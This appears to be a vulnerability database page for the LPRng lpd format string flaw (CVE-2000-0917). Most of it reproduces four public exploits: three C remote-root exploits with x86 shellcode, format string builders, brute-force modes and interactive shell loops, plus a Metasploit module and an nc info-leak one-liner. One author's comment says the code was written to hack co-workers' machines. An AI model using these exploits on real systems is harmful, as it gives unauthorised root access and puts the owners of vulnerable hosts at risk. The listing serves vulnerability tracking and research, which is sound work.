Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 227
Publication date : 2000-12-10 23h00 +00:00
Author : DiGiT
EDB Verified : Yes
/*
* Copyright (c) 2000 - Security.is
*
* The following material may be freely redistributed, provided
* that the code or the disclaimer have not been partly removed,
* altered or modified in any way. The material is the property
* of security.is. You are allowed to adopt the represented code
* in your programs, given that you give credits where it's due.
*
* security.is presents: LPRng/Linux remote root lpd exploit.
*
* Author: DiGiT -
[email protected]
*
* Thanks to: portal for elite formatstring talent ;>
* Greets to: security.is, #!ADM
*
* Wrote it because I wanted to hack my co-workers machines ;>
*
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};
struct target targets[] =
{
{ "RedHat 7.0 - Guinesss ", 0xbffff3ec, 0L, 300, 70, 2, },
{ "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2, },
{ NULL, 0L, 0L, 0, 0, 0 }
};
static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;
void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0x000000ff),
(unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};
memset (address_buffer, '\0', sizeof(address_buffer));
memset (append_buffer, '\0', sizeof(append_buffer));
for (i = 0; i < 4; i++)
{
while (copied > 0x100)
copied -= 0x100;
if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
else if (copied < num[i])
{
if ( (num[i] - copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), "%.*s",
(int)(num[i] - copied), "security.is!");
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else {
sprintf (append_buffer+strlen(append_buffer), "%%.%du",
num[i] - copied);
copied += (num[i] - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); }
} else {
tmp = ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
copied += ((num[i] + 0x100) - copied);
sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
}
sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
(unsigned char) ((eip_addr+i) & 0x000000ff),
(unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}
while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, "X");
#ifdef DEBUG
printf ("\nGeneration complete:\nAddress: ");
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (".");
printf ("%02x", (unsigned char)address_buffer[i]);
}
printf ("\nAppend: %s\n", append_buffer);
#endif
return;
}
char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;
memset (format_buffer, '\0', sizeof(format_buffer));
targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);
(void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
targets[type].align, "BBBB", address_buffer);
strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, "\x90");
strcat(format_buffer, shellcode);
return (format_buffer);
}
int connect_victim()
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons (3879);
s.sin_addr.s_addr = *(u_long *)he->h_addr;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
return -1;
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
return -1;
}
if(brute)
printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);
printf("- [+] shell located on %s\n", hostname);
printf("- [+] Enter Commands at will\n\n");
failure = -1;
FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
send(sockfd, testcmd, strlen(testcmd), 0);
while(1) {
FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);
if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, "EOF\n");
return 2;
}
if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
return 2;
}
if(send(sockfd,buff,n,0)<0) break;
}
}
}
void send_code(char *exploit_buffer)
{
int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = *(u_long *)he->h_addr;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf ("--- [5] Unable to create socket!\n");
printf("Exploit failed!\n");
exit(-1);
}
if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf ("--- [5] Unable to connect to %s\n", hostname);
printf("Exploit failed, %s is not running LPD!\n", hostname);
exit(-1);
}
usleep(DELAY);
if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf ("Couldn't write to socket %d", sockfd);
printf ("Exploit failed\n");
exit(2);
}
close(sockfd);
connect_victim();
}
void usage(char *program)
{
int i=0;
printf("SEClpd by DiGiT of ADM/security.is ! \n\n");
printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program);
printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n");
printf("Types:\n\n");
while( targets[i].os_name != NULL)
printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name);
}
int main(int argc, char **argv)
{
char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;
if(argc < 3)
{
usage(argv[0]);
return 1;
}
hostname = argv[1];
if(!strncmp(argv[2], "brute", 5)) brute = 1;
while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){
switch (c)
{
case 't':
type = atoi(optarg);
break;
case 'r':
targets[type].eip_address = strtoul(optarg, NULL, 16);
break;
case 'c':
targets[type].shellcode_address = strtoul(optarg, NULL, 16);
break;
case 'a':
targets[type].align = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case 'p':
targets[type].position = atoi(optarg);
break;
case 'w':
targets[type].written_bytes = atoi(optarg);
break;
default:
usage(argv[0]);
return 1;
}
}
if(type < 0)
{
printf("You must specify a type!\n");
printf("example: ./SEClpd victim -t 0\n");
return -1;
}
if ( (he = gethostbyname (hostname)) == NULL)
{
herror("gethostbyname");
exit(1);
}
targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n");
printf("+++ Exploit information\n");
printf("+++ Victim: %s\n", hostname);
printf("+++ Type: %d - %s\n", type, targets[type].os_name);
printf("+++ Eip address: 0x%x\n", targets[type].eip_address);
printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address);
printf("+++ Position: %d\n", targets[type].position);
printf("+++ Alignment: %d\n", targets[type].align);
printf("+++ Offset %d\n", offset);
printf("\n");
printf("+++ Attacking %s with our format string\n", hostname);
if( brute > 0 )
{
printf("+++ Brute force man, relax and enjoy the ride ;>\n");
targets[type].eip_address = 0xbffffff0;
while(failure)
{
memset(exploit_buffer, '\0', sizeof(exploit_buffer));
format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);
targets[type].eip_address = 0xbffffff0 - offset;
offset+=4;
if (offset > OFFSET_LIMIT) {
printf("+++ Offset limit hit, ending brute mode ;<\n");
return -1;
}
}
}
else
format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, "\n");
send_code(exploit_buffer);
printf("Argh exploit failed$#%! try brute force!\n");
return (-1);
}
// milw0rm.com [2000-12-11]
Exploit Database EDB-ID : 16842
Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'LPRng use_syslog Remote Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in the LPRng print server.
This vulnerability was discovered by Chris Evans. There was a publicly
circulating worm targeting this vulnerability, which prompted RedHat to pull
their 7.0 release. They consequently re-released it as "7.0-respin".
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9666 $',
'References' =>
[
[ 'CVE', '2000-0917' ],
[ 'OSVDB', '421' ],
[ 'BID', '1712' ],
[ 'US-CERT-VU', '382365' ],
[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
[ 'URL', 'http://www.exploit-db.com/exploits/226' ],
[ 'URL', 'http://www.exploit-db.com/exploits/227' ],
[ 'URL', 'http://www.exploit-db.com/exploits/230' ]
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => true, # root
'DefaultOptions' =>
{
'PrependSetresuid' => true
},
'Payload' =>
{
'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt)
'BadChars' => "\x00\x0a\x20\x25",
},
'Targets' =>
[
# tested OK - jjd
[ 'Caldera OpenLinux 2.3 Bruteforce',
{
'Platform' => 'linux',
'NumPops' => 243,
'FlowHook' => 0x80992d4, # GOT of exit
# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xcffffff4 },
'Stop' => { 'Ret' => 0x7fffe004 },
'Step' => 16
}
}
],
=begin
# untested (from public exploits)
[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
{
'NumPops' => 299,
'Ret' => 0xbffff640,
'FlowHook' => 0xbfffee30
}
],
[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
{
'NumPops' => 304,
'Ret' => 0xbffff920,
'FlowHook' => 0xbffff0f0
}
],
[ 'RedHat 7.0 - Guinesss',
{
'NumPops' => 300,
'Ret' => 0x41424344,
'FlowHook' => 0xbffff3ec
}
],
[ 'RedHat 7.0 - Guinesss-dev',
{
'NumPops' => 300,
'Ret' => 0x41424344,
'FlowHook' => 0xbffff12c
}
],
=end
# ...
[ 'Debug',
{
'NumPops' => 1, # sure to miss.
'Ret' => 0x41424344,
'FlowHook' => 0x45464748
}
]
],
# 'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 25 2000'))
register_options( [ Opt::RPORT(515) ], self.class )
end
def exploit
# we want to use DPA for this one :)
fmtstr_set_caps(false, true)
# check syslog to see which number hits 41414141
=begin
400.times { |x|
connect
buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
sock.put(buf)
#handler
disconnect
}
=end
print_status("Trying target #{target.name} ..")
super
end
def brute_exploit(addrs)
#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])
printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
num_start = printed.length + 2 + 4
# write 'ret' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
fmtbuf = "_" * 4
fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
# append payload and newline
#fmtbuf << payload.encoded
fmtbuf << "\x90" * 32
fmtbuf << Rex::Text.charset_exclude(payload_badchars)
fmtbuf << "\n"
print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])
connect
#print_status("Sleeping, attach now!!")
#select(nil,nil,nil,5)
sock.put(fmtbuf)
handler
disconnect
end
end
=begin
HRM!
The following causes info leakage!
bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC
There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...
It's unclear if there is a way to auto-detect the lpd version via LPD commands.
=end
Exploit Database EDB-ID : 226
Publication date : 2000-12-10 23h00 +00:00
Author : sk8
EDB Verified : Yes
/*
* LPRng remote root exploit for x86 Linux
* 9/27/00
*
* - sk8
* tested on compiled LPRng 3.6.22/23/24
*
*/
#include <unistd.h>
#include <stdio.h>
char sc[]=
"\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
"\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
"\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
"\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
"\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh";
#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
char getbuf[1000];
int bpad=0; /* was 2 */ /* 3 for other */
/* 2 - -34
3 - -41
0 - -42
*/
int i=0;
int eiploc=0x41424344;
char buffer[1024];
char fmtbuf[128];
int shloc=-1; //0xbffff2c8;
int hi=100;
int lo=200;
int pre=0;
int align=-36;
int pos=511; //483; //488; /*299;*/
int debug=0;
char s=0;
char mode='n';
while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
switch(s) {
case 'a': align=atoi(optarg); break;
case 'b': bpad=atoi(optarg);
break;
case 'e': eiploc=strtoul(optarg, 0,0);
break;
case 's': shloc=strtoul(optarg, 0, 0);
break;
case 'p': pos=atoi(optarg); break;
case 'd': debug=1; break;
default:
}
}
if (shloc == -1) shloc=eiploc+2450;
memset(buffer, 0, sizeof(buffer));
memset(fmtbuf, 0, sizeof(fmtbuf));
memset(buffer, 'B', bpad);
*(long*)(buffer+strlen(buffer))=eiploc+2;
*(long*)(buffer+strlen(buffer))=0x50505050;
*(long*)(buffer+strlen(buffer))=eiploc;
pre=strlen(buffer);
if (debug) { mode='p'; hi=100; lo=100; }
else {
hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
}
sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
strcat(buffer+strlen(buffer), fmtbuf);
/* make it easier to hit shellcode */
memset(buffer+strlen(buffer), NOP, 385);
strcat(buffer, sc);
*(char*)(buffer+strlen(buffer))=0;
fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
fprintf(stderr, "pos: %i\n", pos);
fprintf(stderr, "align: %i\n", align);
fprintf(stderr, "eip location: 0x%x\n", eiploc);
fprintf(stderr, "shellcode location: 0x%x\n", shloc);
fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
printf("%s", buffer);
putchar('\n');
}
// milw0rm.com [2000-12-11]
Exploit Database EDB-ID : 230
Publication date : 2000-12-14 23h00 +00:00
Author : VeNoMouS
EDB Verified : Yes
/*
* REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0)
*
* The RedHat 7.0 replaced the BSD lpr with the LPRng package which is
* vulnerable to format string attacks because it passes information
* to the syslog incorrectly.
* You can get remote root access on machines running RedHat 7.0 with
* lpd running (port 515/tcp) if it is not fixed, of course (3.6.25).
*
* bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember
* is -not- installed by default (isnt a package of the slackware).
*
* and,.. this code is for educational propourses only, do not use
* it on remote machines without authorization.
*
* greets: bruj0, ka0z, dn0, #rdC and #flatline
*
* coded by venomous of rdC - Argentinian security group.
*
[email protected]
* http://www.rdcrew.com.ar
*
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
char shellcode[]= // not mine
"\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f"
"\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08"
"\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10"
"\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c"
"\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe"
"\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
"\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2"
"\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
"\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void usage(char *prog);
void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc);
void sigint();
void sigalarm();
void mk_connect(char victim[128], int port);
char yahoo[1024];
struct os
{
char *addr;
char *shelladdr;
char *desc;
int addroffset;
int shelladdroffset;
int pad;
int fsc;
};
/* generally, the addresses are wrong for a very small value,, i recommend
* that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1)
* if it dont work, try the same but changing the fsc (this is the value
* of when we start to control the formats strings), start from 290 until
* 330, it should be enough.
* and if it still dont work,, :|, try with the offset of the shellcode
* address, this buffer has nops, so it shouldnt be difficult to guess.
* make a .sh! :)
* of course, you can start gdb on your box(es) and dont guess nothing
* just inspect the program and get the correct values!
*
* -venomous
*/
struct os target[]=
{
{"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2, 299},
{"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5", 0, 0, 2, 304},
{NULL,NULL,NULL,0,0}
};
main(int argc, char *argv[])
{
int port=515,
so=0,
padding=0,
retlocoffset=0,
shellcodeoffset=0,
fscT=0;
char arg,
victim[128],
rl[128],
sh[128];
if(argc < 3)
usage(argv[0]);
bzero(victim,sizeof(victim));
bzero(rl,sizeof(rl));
bzero(sh,sizeof(sh));
while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF)
{
switch(arg)
{
case 'h':
strncpy(victim,optarg,128);
break;
case 'p':
port = atoi(optarg);
break;
case 'r':
strncpy(rl,optarg,128);
break;
case 's':
strncpy(sh,optarg,128);
break;
case 't':
so = atoi(optarg);
break;
case 'P':
padding = atoi(optarg);
break;
case 'R':
retlocoffset = atoi(optarg);
break;
case 'S':
shellcodeoffset = atoi(optarg);
break;
case 'c':
fscT = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(strlen(victim) == 0)
usage(argv[0]);
if (strcmp(rl,""))
target[so].addr = rl;
if (strcmp(sh,""))
target[so].shelladdr = sh;
if (retlocoffset != 0)
target[so].addroffset = target[so].addroffset + retlocoffset;
if (shellcodeoffset != 0)
target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset;
if (padding != 0)
target[so].pad = target[so].pad + padding;
if (fscT != 0)
target[so].fsc = target[so].fsc + fscT;
signal(SIGINT, sigint);
makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset, target[so].pad, target[so].fsc);
mk_connect(victim, port);
}
void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc)
{
char *tmp,
addrtmp[216],
ot[128];
int i,b,x,t;
unsigned long pt;
char temp[128];
char a1,a2,a3,a4,a5,a6,a7,a8;
char fir[12],sec[12],thr[12],f0r[12];
unsigned long firl,secl,thrl,forl;
unsigned long pas1,pas2,pas3,pas4;
bzero(yahoo,sizeof(yahoo));
bzero(ot,sizeof(ot));
bzero(addrtmp,sizeof(addrtmp));
printf("** LPRng remote root exploit coded by venomous of rdC **\n");
printf("\nconstructing the buffer:\n\n");
printf("adding bytes for padding: %d\n",padding);
for(i=0 ; i < padding ; i++)
strcat(yahoo,"A");
tmp = addr;
pt = strtoul(addr, &addr,16) + addroffset;
addr = tmp;
printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt);
printf("adding resulting retloc(%p)..\n",pt);
sprintf(addrtmp, "%p", pt);
if(strlen(addr) != 10)
{
printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr));
exit(1);
}
pt = 0;
for (i=0 ; i < 4 ; i++)
{
pt = strtoul(addrtmp, &addrtmp, 16);
//strcat(yahoo, &pt);
bzero(ot,sizeof(ot));
sprintf(ot,"%s",&pt);
strncat(yahoo,ot,4);
pt++;
sprintf(addrtmp, "%p", pt);
//printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo);
}
tmp = shaddr;
pt = 0;
pt = strtoul(shaddr,&shaddr,16) + shoffset;
sprintf(ot,"%p",pt);
shaddr = ot;
printf("adding shellcode address(%s)\n", shaddr);
sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8);
sprintf(fir,"0x%c%c",a1,a2);
sprintf(sec,"0x%c%c",a3,a4);
sprintf(thr,"0x%c%c",a5,a6);
sprintf(f0r,"0x%c%c",a7,a8);
firl = strtoul(fir,&fir,16);
secl = strtoul(sec,&sec,16);
thrl = strtoul(thr,&thr,16);
forl = strtoul(f0r,&f0r,16);
pas1 = forl - 50 - padding;
pas1 = check_negative(pas1);
pas2 = thrl - forl;
pas2 = check_negative(pas2);
pas3 = secl - thrl;
pas3 = check_negative(pas3);
pas4 = firl - secl;
pas4 = check_negative(pas4);
sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3, fsc+2,pas4, fsc+3);
strcat(yahoo,temp);
printf("adding nops..\n");
b = strlen(yahoo);
for (i=0 ; i < (512-b-strlen(shellcode)) ; i++)
yahoo[b+i] = '\x90';
printf("adding shellcode..\n");
b=+i;
for (x=0 ; x < b ; x++)
yahoo[b+x] = shellcode[x];
strcat(yahoo,"\n");
printf("all is prepared.. now lets connect to something..\n");
}
check_negative(unsigned long addr)
{
char he[128];
sprintf(he,"%d",addr);
if (atoi(he) < 0)
addr = addr + 256;
return addr;
}
void mk_connect(char victim[128], int port)
{
struct hostent *host;
struct sockaddr_in den0n;
int sox;
den0n.sin_family = AF_INET;
den0n.sin_port = htons(port);
host = gethostbyname(victim);
if (!host)
{
printf("cannot resolve, exiting...\n");
exit(0);
}
bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length);
sox = socket(AF_INET, SOCK_STREAM, 0);
signal(SIGALRM, sigalarm);
alarm(10);
printf("connecting to %s to port %d\n",host->h_name, port);
if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0)
{
putchar('\n');
perror("connect");
exit(1);
}
printf("connected!, sending the buffer...\n\n");
write(sox, yahoo , strlen(yahoo));
printf("%s\n", yahoo);
sleep(1);
alarm(0);
runshell(sox);
}
int runshell(int sox)
{
fd_set rset;
int n;
char buffer[4096];
char *command="/bin/uname -a ; /usr/bin/id\n";
send(sox, command, strlen(command), 0);
for (;;) {
FD_ZERO (&rset);
FD_SET (sox, &rset);
FD_SET (STDIN_FILENO, &rset);
n = select(sox + 1, &rset, NULL, NULL, NULL);
if(n <= 0)
return (-1);
if(FD_ISSET (sox, &rset)) {
n = recv (sox, buffer, sizeof (buffer), 0);
if (n <= 0)
break;
write (STDOUT_FILENO, buffer, n);
}
if(FD_ISSET (STDIN_FILENO, &rset)) {
n = read (STDIN_FILENO, buffer, sizeof (buffer));
if (n <= 0)
break;
send(sox, buffer, n, 0);
}
}
return (0);
}
void sigalarm()
{
printf("connection timed out, exiting...\n");
exit(0);
}
void sigint()
{
printf("CAUGHT sigint, exiting...\n");
exit(0);
}
void usage(char *prog)
{
int i;
printf("\n** LPRng remote root exploit coded by venomous of rdC **\n");
printf("Usage:\n\n");
printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S offset> <-c offset>\n\n", prog);
printf("-h is the victim ip/host\n");
printf("-p select a different port to connect, default 515\n");
printf("-r is the address to overwrite\n");
printf("-s is the address of the shellcode\n");
printf("You can use a predefined addr/shellcodeaddr using -t <number>\n\n");
printf("availables types:\n\n");
for (i=0 ; target[i].desc != NULL ; i++)
printf("%d - %s\n",i,target[i].desc);
printf("\n-P is to define the padding to use, usually 2\n");
printf("-R the offset to add to <addr>\n");
printf("-S the offset to add to <shellcodeaddr>\n");
printf("-c where we start to control the format string\n\n");
exit(0);
}
// milw0rm.com [2000-12-15]
Products Mentioned
Configuraton 0
Caldera>>Openlinux_ebuilder >> Version 3.0
Configuraton 0
Caldera>>Openlinux >> Version *
Caldera>>Openlinux_edesktop >> Version 2.4
Caldera>>Openlinux_eserver >> Version 2.3
Redhat>>Linux >> Version 7.0
Trustix>>Secure_linux >> Version 1.0
Trustix>>Secure_linux >> Version 1.1
References